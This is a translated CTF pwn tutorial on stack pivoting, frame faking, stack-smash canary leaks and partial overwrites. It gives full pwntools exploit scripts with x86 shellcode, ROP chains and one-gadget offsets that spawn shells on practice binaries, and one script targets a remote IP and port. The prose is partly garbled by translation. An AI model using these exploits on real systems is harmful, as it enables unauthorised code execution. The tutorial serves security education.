Fancy stack overflow
reference resources: https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/fancy-rop/#2018-over
reference resources: https://www.yuque.com/hxfqg9/bin/erh0l7
reference resources: https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/fancy-rop
1. Principle
1.1 stack pivoting
Stack pivoting is turned into stack rotation. This technique is to hijack the stack pointer to the memory that the attacker can control, and then ROP at the corresponding position (in other words, to indirectly control eip by controlling esp). Generally speaking, we may need to use stack pivoting in the following cases:
- The number of bytes overflowed by the controllable stack is small, so it is difficult to construct a long ROP chain
- PIE protection is enabled. The stack address is unknown. We can hijack the stack to a known area.
- Other vulnerabilities are difficult to exploit. We need to convert, for example, hijack the stack to the heap space, so as to write rop on the heap and exploit heap vulnerabilities
In addition, the following requirements apply to stack pivoting
- You can control program execution flow, that is, control eip.
- You can control the sp pointer. Generally speaking, the control stack pointer will use ROP, and the common gadgets for controlling the stack pointer are
pop rsp/esp jmp rsp/esp
And libc_ csu_ CSU in init_ gadget1 + 3:
pwndbg> x/5i 0x000000000040061A + 3 0x40061d <__libc_csu_init+93>: pop rsp 0x40061e <__libc_csu_init+94>: pop r13 0x400620 <__libc_csu_init+96>: pop r14 0x400622 <__libc_csu_init+98>: pop r15 0x400624 <__libc_csu_init+100>: ret
1.2 stack migration (frame faking)
1.2.1 introduction to gadget
Stack migration mainly uses leave; ret; Such gadget s
leave is equivalent to:
move esp, ebp; pop ebp
ret is equivalent to:
pop eip
When the program completes the call and intends to return, leave will appear; Gadgets like RET:
1.2.2 layout of payload
The stack layout for stack migration is as follows (payload = padding + address (make_ebp1) + read + leave_ret_gadget + 0 + make_ebp1 + 0x100):
When reading data in the read() function, we need to enter: Address (make ebp2) + system() + padding_+ “/bin/sh”. (take system() as an example here. You can also call other functions)
remarks:
1. Read is added to the payload to write the data we need in the bss segment or data segment. If the required data has been constructed in advance, you can delete read and directly follow leave_ret_gagegt.
2. The address (make ebp2) entered when reading data in the following read() is to control the direction of EBP. If you just want to execute the function, it doesn't matter where the EBP is. You don't need to enter address (make ebp2) at all, but you can use padding instead.
1.2.3 step analysis
We analyze each step of stack migration step by step, taking the execution of system() function as an example:
stage 1:
After the function call is completed, the program executes the move esp, ebp of the leave instruction at the end of the function:
stage 2:
pop ebp executing leave instruction:
stage 3:
When the program executes ret, i.e. pop eip, the read(0, fake_ebp1, 0x100) function is called. Then what we enter will be from fake_ Ebp1 starts to write to the high address. We let it write: Address (make ebp2) + system() + padding + "/ bin/sh"
stage 4:
Program execution leave_ret_gadget, then it will be like the above:
Execute move esp, ebp:
stage 5:
Then pop ebp:
At this time, we find that esp points to the address of the function we write, such as the system() function.
stage 6:
Then ret:
The program is hijacked and points to the function specified by us, such as system(), to achieve the purpose.
Other stack migration methods:
Next, a stack migration method is introduced, but the principle is basically the same. The difference is that the following layout method does not need to use the leave of the called function; RET mechanism, and ebp does not know where it will point after calling (depending on the original data written in 0x804a824), but it can still point to the specified function:
The following is an example of calling the write() function to print "/ bin/sh" on the stack:
Layout of original stack frame:
0x0000: b'aaaa' 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' 0x0004: b'aaaa' ... 0x0064: b'aaaa' 0x0068: b'aaaa' 0x006c: b'aaaa' 0x0070: 0x8048390 read(0, 0x804a828, 100) 0x0074: 0x804836a <adjust @0x84> add esp, 8; pop ebx; ret 0x0078: 0x0 arg0 0x007c: 0x804a828 arg1 0x0080: 0x64 arg2 0x0084: 0x804864b pop ebp; ret 0x0088: 0x804a824 0x008c: 0x8048465 leave; ret
bss section layout:
0x0000: 0x80483c0 write(1, 0x804a878, 7) 0x0004: 0x804836a <adjust @0x14> add esp, 8; pop ebx; ret 0x0008: 0x1 arg0 0x000c: 0x804a878 arg1 0x0010: 0x7 arg2 0x0014: b'aaaa' 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' 0x0018: b'aaaa' ... 0x0048: b'aaaa' 0x004c: b'aaaa' 0x0050: b'/bin' '/bin/sh' 0x0054: b'/sh' 0x0057: b'aaaa' 'aaaaaaaaaaaaa' 0x005b: b'aaaa' 0x005f: b'aaaa' 0x0063: b'a'
After execution, the stack frame is as follows:
1.3 Stack smash
Stack smash is a technology that bypasses canary protection.
After the Canary protection is added to the program, if the buffer we read overwrites the corresponding value, the program will report an error. Generally speaking, we don't care about the error information. The stack smash technique is to use the program that prints this information to get the content we want. This is because after the canary protection is started, if it is found that the canary is modified , the program will execute the _stack_chk_fail function to print the string pointed to by the argv[0] pointer. Normally, the pointer points to the program name. The code is as follows:
void __attribute__ ((noreturn)) __stack_chk_fail (void) { __fortify_fail ("stack smashing detected"); } void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg) { /* The loop is added only to keep gcc happy. */ while (1) __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>"); }
Therefore, if we use stack overflow to overwrite argv[0] as the address of the string we want to output, the information we want will be output in the _force_fail function.
However, in my Ubuntu 20.04 (kernel 4.19.128), neither the program name nor < unknown >:
*** stack smashing detected ***: terminated
Therefore, this technique does not work for newer kernels.
1.4 partial overwrite
After randomization (ASLR, PIE) is turned on, the intra page offset of the lower 12 bits is always fixed no matter how the high-order address changes. That is, if we can change the low-order offset, we can control the execution flow of the program to a certain extent and bypass the PIE protection.
2. Examples
2.1 stack pivoting
2.1.1 exercise information
Exercises from: CTF challenges / PWN / stackoverflow / stackprivot / x-ctf quals 2016 - b0verfl0w
2.1.2 program analysis
Take a look at the security mechanism:
$ checksec b0verfl0w [*] '/mnt/d/study/ctf/data/ctf-challenges/pwn/stackoverflow/stackprivot/X-CTF Quals 2016 - b0verfl0w/b0verfl0w' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
It can be seen that there are 32 bits, no canary, no nx, no pie, and RWX
IDA, take a look at the vulnerability function:
signed int vul() { char s; // [esp+18h] [ebp-20h] puts("\n======================"); puts("\nWelcome to X-CTF 2016!"); puts("\n======================"); puts("What's your name?"); fflush(stdout); fgets(&s, 50, stdin); printf("Hello %s.", &s); fflush(stdout); return 1; }
The program has stack overflow, but the overflow length is 50 - 0x20 - 4 = 14 bytes, so many ROPS cannot be executed.
Consider stack privoting. Since nx is not enabled in the program, shellcode can be deployed on the stack for execution. The basic idea is as follows:
- Deploying shellcode using stack overflow
- Control eip pointing to shellcode
So how to control the eip to point to shellcode? Let's look for gadget s similar to jmp esp:
$ ROPgadget --binary b0verfl0w --only "jmp|ret" Gadgets information ============================================================ 0x080483ab : jmp 0x8048390 0x080484f2 : jmp 0x8048470 0x08048611 : jmp 0x8048620 0x0804855d : jmp dword ptr [ecx + 0x804a040] 0x08048550 : jmp dword ptr [ecx + 0x804a060] 0x0804876f : jmp dword ptr [ecx] 0x08048504 : jmp esp 0x0804836a : ret 0x0804847e : ret 0xeac1 Unique gadgets found: 9
The gadget at 0x08048504 can be used. When the ESP points to the gadget that we can control, jmp esp is triggered to make the eip point to the gadget that we can control. Then the function of the gadget that we can control is to make the ESP point to the shellcode on the stack, and then jmp esp.
exp is as follows:
from pwn import * sh = process('./b0verfl0w') shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode_x86 += "\x0b\xcd\x80" sub_esp_jmp = asm('sub esp, 0x28;jmp esp') # We can control the gadget jmp_esp = 0x08048504 payload = shellcode_x86 + ( 0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmp sh.sendline(payload) sh.interactive()
Operation results:
$ python2 exploit.py [+] Starting local process './b0verfl0w': pid 9751 [*] Switching to interactive mode ====================== Welcome to X-CTF 2016! ====================== What's your name? Hello 1���Qh//shh/bin\x89� ̀bbbbbbbbbbbbbbb\x04\x04\x83�(�� .$
2.2 stack migration (frame faking)
2.2.1 exercise information
Exercises from: CTF challenges / PWN / stackoverflow / fake_frame / over
2.2.2 program analysis
Check the security mechanism:
$ checksec over.over [*] '/mnt/d/study/ctf/data/ctf-challenges/pwn/stackoverflow/fake_frame/over/over.over' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Found 64 bit, only nx
IDA, take a look at the vulnerability function:
int sub_400676() { char buf[80]; // [rsp+0h] [rbp-50h] memset(buf, 0, sizeof(buf)); putchar('>'); read(0, buf, 0x60uLL); return puts(buf); }
It is found that the stack of this function is only 0x50, and the read() function can only write 0x60, that is, it can only just cover ret, and can no longer write data to the high address.
Then we can put the stack to be migrated on the original stack, and then control rbp to point to the migrated stack (in this topic, that is, the rsp position of sub_400676(), because buf happens to be at rsp + 0h). In this way, we can arrange the stack to be migrated.
So how do we know fake rbp?
Because "\ 0" will not be automatically added when read() writes data, the contents on the stack will be printed when the source program calls puts(). We only need to set the buf to 0x50, then we will print the prev ebp, and then calculate the value of fake rbp according to the offset.
Before calling the puts() function, make a breakpoint and gdb look at the offset:
0x4006b6 mov rdi, rax ► 0x4006b9 call puts@plt <puts@plt> s: 0x7fffffffdf60 ◂— 0xa61 /* 'a\n' */ 0x4006be leave 0x4006bf ret 0x4006c0 push rbp 0x4006c1 mov rbp, rsp 0x4006c4 sub rsp, 0x10 0x4006c8 mov dword ptr [rbp - 4], edi 0x4006cb mov qword ptr [rbp - 0x10], rsi 0x4006cf mov rax, qword ptr [rip + 0x20098a] <0x601060> 0x4006d6 mov ecx, 0 ────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rax rdi rsi rsp 0x7fffffffdf60 ◂— 0xa61 /* 'a\n' */ 01:0008│ 0x7fffffffdf68 ◂— 0x0 ... ↓ 6 skipped ──────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────── ► f 0 0x4006b9 f 1 0x400715 f 2 0x7ffff7deb0b3 __libc_start_main+243 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> stack 14 00:0000│ rax rdi rsi rsp 0x7fffffffdf60 ◂— 0xa61 /* 'a\n' */ 01:0008│ 0x7fffffffdf68 ◂— 0x0 ... ↓ 8 skipped 0a:0050│ rbp 0x7fffffffdfb0 —▸ 0x7fffffffdfd0 ◂— 0x0 0b:0058│ 0x7fffffffdfb8 —▸ 0x400715 ◂— 0xb890f0eb0274c085 0c:0060│ 0x7fffffffdfc0 —▸ 0x7fffffffe0c8 —▸ 0x7fffffffe326 ◂— 0x732f642f746e6d2f ('/mnt/d/s') 0d:0068│ 0x7fffffffdfc8 ◂— 0x100000000 pwndbg> distance 0x7fffffffdf60 0x7fffffffdfd0 0x7fffffffdf60->0x7fffffffdfd0 is 0x70 bytes (0xe words)
It is found that the offset is 0x70 (that is, the rsp from prev rbp to the current stack)
Then we need to get the leaked prev rbp - 0x70 to the current rsp, that is, the top of the migrated stack
Now the stack top of the stack to be migrated has been obtained, and the migrated stack can be arranged. Just migrate the payload structure according to the normal stack.
exp is as follows:
# coding=utf-8 from pwn import * context.binary = "./over.over" def DEBUG(cmd): raw_input("DEBUG: ") gdb.attach(io, cmd) io = process("./over.over") elf = ELF("./over.over") libc = elf.libc io.sendafter(">", b'a' * 80) stack = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b'\0')) - 0x70 success("stack -> {:#x}".format(stack)) # DEBUG("b *0x4006B9\nc") # gdb.attach(io) leave_ret = 0x4006be pop_rdi_ret = 0x400793 io.sendafter(">", flat(['11111111', pop_rdi_ret, elf.got['puts'], elf.plt['puts'], 0x400676, (80 - 40) * '1', stack, leave_ret])) # The payload structure of stack migration. It will be migrated after hitting the stack. That is, migrate to the fake stack of sub400676 libc.address = u64(io.recvuntil(b"\x7f") [-6:].ljust(8, b'\0')) - libc.sym['puts'] # Calculate libc base address success("libc.address -> {:#x}".format(libc.address)) ''' $ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" 0x00000000000f5279 : pop rdx ; pop rsi ; ret ''' pop_rdx_pop_rsi_ret = libc.address+0x130569 # This is different in different kernels and needs to be found according to your own system. My offset is in the 4.15 kernel (Ubuntu 18.04), but I can't find it in my 4.19 kernel (Ubuntu 20.04) #gdb.attach(io) payload = flat(['22222222', pop_rdi_ret, next(libc.search(b"/bin/sh")), pop_rdx_pop_rsi_ret, p64(0), p64(0), libc.sym['execve'], (80 - 7*8) * '2', stack - 0x30, leave_ret]) # There is a stack - 0x30 here, because the stack structure has changed after the first time you hit payload. You need to subtract - 0x30 to migrate to rsp. This needs to be dynamically adjusted by gdb io.sendafter(">", payload) io.interactive()
There are two points to note in the above code:
- pop_rdx_pop_rsi_ret: This is different in different kernels. You need to find it according to your own system. My offset is in the 4.15 kernel (Ubuntu 18.04), but I can't find it in my 4.19 kernel (Ubuntu 20.04)
- The second payload: there is a stack - 0x30 here, because after the first payload, the stack structure has changed. You need to subtract - 0x30 to migrate to rsp. This needs to be dynamically adjusted by gdb
Operation results:
$ python3 exp.py [*] '/home/xxx/over.over' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Starting local process './over.over': pid 102509 [*] '/lib/x86_64-linux-gnu/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] stack -> 0x7ffff16ebbc0 [+] libc.address -> 0x7f2d8439f000 [*] Switching to interactive mode 22222222\x93\x07 $
2.2.3 stack smash
2.2.3.1 exercise information
Exercises from: CTF challenges / PWN / stackoverflow / stacksmashes / smashes
Test in the following environment:
ubuntu# uname -a Linux ubuntu 4.15.0-129-generic #132-Ubuntu SMP Thu Dec 10 14:02:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
2.2.3.2 program analysis
Check the protection mechanism:
$ checksec smashes [*] '/mnt/d/study/ctf/data/ctf-challenges/pwn/stackoverflow/stacksmashes/smashes/smashes' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled
I found that the program opened canary, nx and fortify
IDA looks at the program:
unsigned __int64 sub_4007E0() { __int64 v0; // rax __int64 v1; // rbx int v2; // eax __int64 v4; // [rsp+0h] [rbp-128h] unsigned __int64 v5; // [rsp+108h] [rbp-20h] v5 = __readfsqword(0x28u); __printf_chk(1LL, (__int64)"Hello!\nWhat's your name? "); LODWORD(v0) = _IO_gets((__int64)&v4); if ( !v0 ) LABEL_9: _exit(1); v1 = 0LL; __printf_chk(1LL, (__int64)"Nice to meet you, %s.\nPlease overwrite the flag: "); while ( 1 ) { v2 = _IO_getc(stdin); if ( v2 == -1 ) goto LABEL_9; if ( v2 == '\n' ) break; aPctfHereSTheFl[v1++] = v2; if ( v1 == 32 ) goto LABEL_8; } memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1)); LABEL_8: puts("Thank you, bye!"); return __readfsqword(0x28u) ^ v5; }
Analyze the logic of the program:
- At first, use gets() to input a string into v4. This place does not limit the length of the input and can overflow;
- Then the program enters the while loop. When the length of the input string reaches 32 or "\ n", the while loop will end. If no character is entered, a flag character will be overwritten
- If the program exits the while loop because of the newline character, memset will be executed to clear the remaining uncovered flags; If the program exits because the input length reaches 32, the remaining uncovered flags will not be cleared
Take a look at the place where the flag is stored:
.data:0000000000600D20 aPctfHereSTheFl db 'PCTF{Here',27h,'s the flag on server}',0
At this time, we need to use a skill: during ELF memory mapping, the bss segment will be mapped twice, so we can use another address for output
For example, let's let the program run, and then vmmap look at the memory:
pwndbg> vmmap smashes LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x401000 r-xp 1000 0 /mnt/d/study/ctf/data/ctf-challenges/pwn/stackoverflow/stacksmashes/smashes/smashes 0x600000 0x601000 rw-p 1000 0 /mnt/d/study/ctf/data/ctf-challenges/pwn/stackoverflow/stacksmashes/smashes/smashes
It will be found that the contents within the range of 0x000000000 ~ 0x00001000 will be mapped to memory, with 0x600000 and 0x400000 as the starting addresses respectively.
The flag is placed in 0000000000000000000D20. Although the 0000000000600D20 position is covered, we can still get the flag by viewing 000000000040d20.
pwndbg> x/s 0x0000000000400D20 0x400d20: "PCTF{Here's the flag on server}"
According to the stack smash mechanism, when the canary of the program is detected to be inconsistent, the program name (that is, a parameter) will be printed. Then we only need to modify the parameter to 0000000000 400d20 to print the string. Therefore, we need to calculate the distance between the program name (that is, a parameter) and the top of the stack, and then replace it.
gdb first look at where the program name (that is, a parameter) is placed:
Let's make a breakpoint at the starting point of the main function (0000000000 4006d0):
[external chain picture transfer failed. The source station may have anti-theft chain mechanism. It is recommended to save the picture and upload it directly (IMG cptipn53-163324928273)( https://i.loli.net/2021/10/02/Sv8cpAkyD6JgXGN.png )]
It was found that the program name (i.e. a parameter) was placed at 0x7fffff58.
Of course, you can also use pwntools to print directly:
pwndbg> p & __libc_argv[0] $1 = (char **) 0x7fffffffdf58
Now you only need to know the offset from the overflow point v4. We find the location of the gets() function. The command is $objdump -d smashes | grep gets:
40080e: e8 ad fe ff ff callq 4006c0 <_IO_gets@plt>
Let's make a breakpoint at gets(), and then take a look at a parameter of gets(), that is, the address of v4:
► 0x40080e call _IO_gets@plt <_IO_gets@plt> rdi: 0x7fffffffdd40 ◂— 0x0 rsi: 0x19 rdx: 0x7ffff7dcf8c0 (_IO_stdfile_1_lock) ◂— 0x0 rcx: 0x0
It is found that v4, that is, rdi is 0x7fffdd40.
Then our offset is:
pwndbg> distance 0x7fffffffdd40 0x7fffffffdf58 0x7fffffffdd40->0x7fffffffdf58 is 0x218 bytes (0x43 words)
Then you only need to set: payload = cyclic(0x218) + 0x0000000000400D20. Once the program crashes, the content of 0x0000000000400D20 will be printed, that is, flag:
exp is as follows:
from pwn import * p=process('./smashes') # p = remote('pwn.jarvisoj.com', 9877) payload = 'a'*0x228+p64(0x400d20) p.sendlineafter('name? ', payload) p.sendlineafter('flag: ', 'aaaaa') print p.recv()
However, my machine will only print unknown, not program name or flag:
ubuntu# python2 exp.py [+] Starting local process './smashes': pid 106601 Thank you, bye! *** stack smashing detected ***: <unknown> terminated [*] Stopped process './smashes' (pid 106601)
2.2.4 partial overwrite
2.2.4.1 2018 - Anheng Cup - babypie
Exercise information: CTF challenges / PWN / stackoverflow / partial_ overwrite
Program analysis:
$ checksec babypie Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
64 bit, enabling pie and canary
IDA looks at the program:
__int64 sub_960() { char buf[40]; // [rsp+0h] [rbp-30h] unsigned __int64 v2; // [rsp+28h] [rbp-8h] v2 = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); *(_OWORD *)buf = 0uLL; *(_OWORD *)&buf[16] = 0uLL; puts("Input your Name:"); read(0, buf, 0x30uLL); // overflow printf("Hello %s:\n", buf, *(_QWORD *)buf, *(_QWORD *)&buf[8], *(_QWORD *)&buf[16], *(_QWORD *)&buf[24]); read(0, buf, 0x60uLL); // overflow return 0LL; }
It is obvious that there are two obvious overflows in the above code. If the length that can be read in the first place is 48 bytes, you can use the first read to disclose canary; The length of the second place that can be read is 96 bytes, so it can be used to overwrite ret.
Draw the stack:
At the same time, the program has a getshell() function.
.text:0000000000000A3E getshell proc near .text:0000000000000A3E ; __unwind { .text:0000000000000A3E push rbp .text:0000000000000A3F mov rbp, rsp .text:0000000000000A42 lea rdi, command ; "/bin/sh" .text:0000000000000A49 call _system .text:0000000000000A4E nop .text:0000000000000A4F pop rbp .text:0000000000000A50 retn .text:0000000000000A50 ; } // starts at A3E .text:0000000000000A50 getshell endp
Therefore, if we can control the rip to point here, we can get the shell. We know that even if aslr is turned on, the last 12 bits of the program will not change. In other words, when the program is running, the approximate address rate of getshell() is xxxxxxxxx? A3e
Therefore, we get the following ideas:
- The first time we read(), we write 0x28 + 0x1 length (because read will not automatically add "\ 0"), revealing canary
- The second time we read(), we override ret to xxxxxxxxx0x0a3e, which will have a certain chance to jump to the getshell() function
exp is as follows:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * # context.log_level = "debug" context.terminal = ["deepin-terminal", "-x", "sh", "-c"] while True: try: io = process("./babypie", timeout = 1) # gdb.attach(io) io.sendafter(":\n", 'a' * (0x30 - 0x8 + 1)) io.recvuntil('a' * (0x30 - 0x8 + 1)) canary = '\0' + io.recvn(7) success(canary.encode('hex')) # gdb.attach(io) io.sendafter(":\n", 'a' * (0x30 - 0x8) + canary + 'bbbbbbbb' + '\x3E\x0A') io.interactive() except Exception as e: io.close() print e
2.2.4.2 2018-XNUCA-gets
Exercises from: CTF challenges / PWN / stackoverflow / partial_ overwrite/2018-xnuca-gets
The following main references are CTF wikis: https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/fancy-rop/#2018-xnuca-gets
Take a look at the protection mechanism of the program:
$ checksec gets [*] '/mnt/d/study/ctf/data/ctf-challenges/pwn/stackoverflow/partial_overwrite/2018-xnuca-gets/gets' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
64 bit program, no protection is found
IDA takes a look and finds that there is only one get() function:
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { __int64 v4; // [rsp+0h] [rbp-18h] gets(&v4, a2, a3); return 0LL; }
Obviously, there is a stack overflow, and then we can control rip.
The program stops at main(0x0000000000400420). Take a look at the stack:
pwndbg> stack 25 00:0000│ rsp 0x7fffffffe398 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax 01:0008│ 0x7fffffffe3a0 ◂— 0x1 02:0010│ 0x7fffffffe3a8 —▸ 0x7fffffffe478 —▸ 0x7fffffffe6d9 ◂— 0x6667682f746e6d2f ('/mnt/hgf') 03:0018│ 0x7fffffffe3b0 ◂— 0x1f7ffcca0 04:0020│ 0x7fffffffe3b8 —▸ 0x400420 ◂— sub rsp, 0x18 05:0028│ 0x7fffffffe3c0 ◂— 0x0 06:0030│ 0x7fffffffe3c8 ◂— 0xf086047f3fb49558 07:0038│ 0x7fffffffe3d0 —▸ 0x400440 ◂— xor ebp, ebp 08:0040│ 0x7fffffffe3d8 —▸ 0x7fffffffe470 ◂— 0x1 09:0048│ 0x7fffffffe3e0 ◂— 0x0 ... ↓ 0b:0058│ 0x7fffffffe3f0 ◂— 0xf79fb00f2749558 0c:0060│ 0x7fffffffe3f8 ◂— 0xf79ebba9ae49558 0d:0068│ 0x7fffffffe400 ◂— 0x0 ... ↓ 10:0080│ 0x7fffffffe418 —▸ 0x7fffffffe488 —▸ 0x7fffffffe704 ◂— 0x504d554a4f545541 ('AUTOJUMP') 11:0088│ 0x7fffffffe420 —▸ 0x7ffff7ffe168 ◂— 0x0 12:0090│ 0x7fffffffe428 —▸ 0x7ffff7de77cb (_dl_init+139) ◂— jmp 0x7ffff7de77a0
Found on stack__ libc_start_main+240 and_ dl_init+139
Then we can have the following ideas:
Step 1: use partial overwrite technology to__ libc_start_main+240 or_ dl_ The low 12 bit coverage of init + 139 makes them the address of the gadget we need. This gadget can be found in lib.so. Just use onegadget.
Step 2: after modification of 1, you only need to control the eip to point to the overwritten__ libc_start_main+240 or_ dl_init+139
Pre knowledge:
__ libc_start_main+240 is in libc_ dl_init+139 in ld
Look at step 1: the coverage is easy, just like 2.2.4.1, but which of the two do we want to cover? Because gets() will automatically add \ 0 and occupy 1 byte, 8 bits will change to 0 when overwriting. If we overwrite__ libc_start_main+240, the address will change to 0x7ffff700xxxx, which is smaller than the base address of libc, and there is no code bit deliberately executed in front. And_ dl_init+139 is at the high address of libc. Even if a byte is overwritten with \ 0 and changed to 0x7ffff700xxxx, the address will change to the range of libc.so. Then we can use the gadget in libc.so. Here is the address. You can see that the starting address of libc-2.23.so is 0x7ffff7a0d000, and the starting address of ld-2.23.so is 0x7ffff7dd7000.
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0 0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
**Let's look at step 2: * * how to control the change of eip now? We can use the CSU in ret2csu_gadget1(0x40059B). This gadget1 allows pop to retn after 5 times. Just call the gadget a few more times.
**Others: * * then we also need to know the specific version of libc.so. buu gives the information that the system version is Ubuntu 16 and the libc version, which we can use directly.
But what if it's not given? Like CTF wiki, you can overwrite it to see if the program crashes:
from pwn import * context.terminal = ['tmux', 'split', '-h'] #context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] if args['DEBUG']: context.log_level = 'debug' elfpath = './gets' context.binary = elfpath elf = ELF(elfpath) bits = elf.bits def exp(ip, port): for i in range(0x1000): if args['REMOTE']: p = remote(ip, port) else: p = process(elfpath, timeout=2) # gdb.attach(p) try: payload = 0x18 * 'a' + p64(0x40059B) for _ in range(2): payload += 'a' * 8 * 5 + p64(0x40059B) payload += 'a' * 8 * 5 + p16(i) p.sendline(payload) data = p.recv() print data p.interactive() p.close() except Exception: p.close() continue if __name__ == "__main__": exp('106.75.4.189', 35273)
The crash information generated is as follows:
======= Backtrace: ========= /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f57b6f857e5] /lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7f57b6f8e37a] /lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f57b6f9253c] /lib/x86_64-linux-gnu/libc.so.6(+0xf2c40)[0x7f57b7000c40] [0x7ffdec480f20] ======= Memory map: ======== 00400000-00401000 r-xp 00000000 00:28 48745 /mnt/hgfs/CTF/2018/1124XNUCA/pwn/gets/gets 00600000-00601000 r--p 00000000 00:28 48745 /mnt/hgfs/CTF/2018/1124XNUCA/pwn/gets/gets 00601000-00602000 rw-p 00001000 00:28 48745 /mnt/hgfs/CTF/2018/1124XNUCA/pwn/gets/gets 00b21000-00b43000 rw-p 00000000 00:00 0 [heap] 7f57b0000000-7f57b0021000 rw-p 00000000 00:00 0 7f57b0021000-7f57b4000000 ---p 00000000 00:00 0 7f57b6cf8000-7f57b6d0e000 r-xp 00000000 08:01 914447 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f57b6d0e000-7f57b6f0d000 ---p 00016000 08:01 914447 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f57b6f0d000-7f57b6f0e000 rw-p 00015000 08:01 914447 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f57b6f0e000-7f57b70ce000 r-xp 00000000 08:01 914421 /lib/x86_64-linux-gnu/libc-2.23.so 7f57b70ce000-7f57b72ce000 ---p 001c0000 08:01 914421 /lib/x86_64-linux-gnu/libc-2.23.so 7f57b72ce000-7f57b72d2000 r--p 001c0000 08:01 914421 /lib/x86_64-linux-gnu/libc-2.23.so 7f57b72d2000-7f57b72d4000 rw-p 001c4000 08:01 914421 /lib/x86_64-linux-gnu/libc-2.23.so 7f57b72d4000-7f57b72d8000 rw-p 00000000 00:00 0 7f57b72d8000-7f57b72fe000 r-xp 00000000 08:01 914397 /lib/x86_64-linux-gnu/ld-2.23.so 7f57b74ec000-7f57b74ef000 rw-p 00000000 00:00 0 7f57b74fc000-7f57b74fd000 rw-p 00000000 00:00 0 7f57b74fd000-7f57b74fe000 r--p 00025000 08:01 914397 /lib/x86_64-linux-gnu/ld-2.23.so 7f57b74fe000-7f57b74ff000 rw-p 00026000 08:01 914397 /lib/x86_64-linux-gnu/ld-2.23.so 7f57b74ff000-7f57b7500000 rw-p 00000000 00:00 0 7ffdec460000-7ffdec481000 rw-p 00000000 00:00 0 [stack] 7ffdec57f000-7ffdec582000 r--p 00000000 00:00 0 [vvar] 7ffdec582000-7ffdec584000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
We use (cfree+0x4c)[0x7f57b6f9253c] to finally locate the libc version as 2.23
Find onegadget as follows:
➜ gets one_gadget /lib/x86_64-linux-gnu/libc.so.6 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
Put the complete exp:
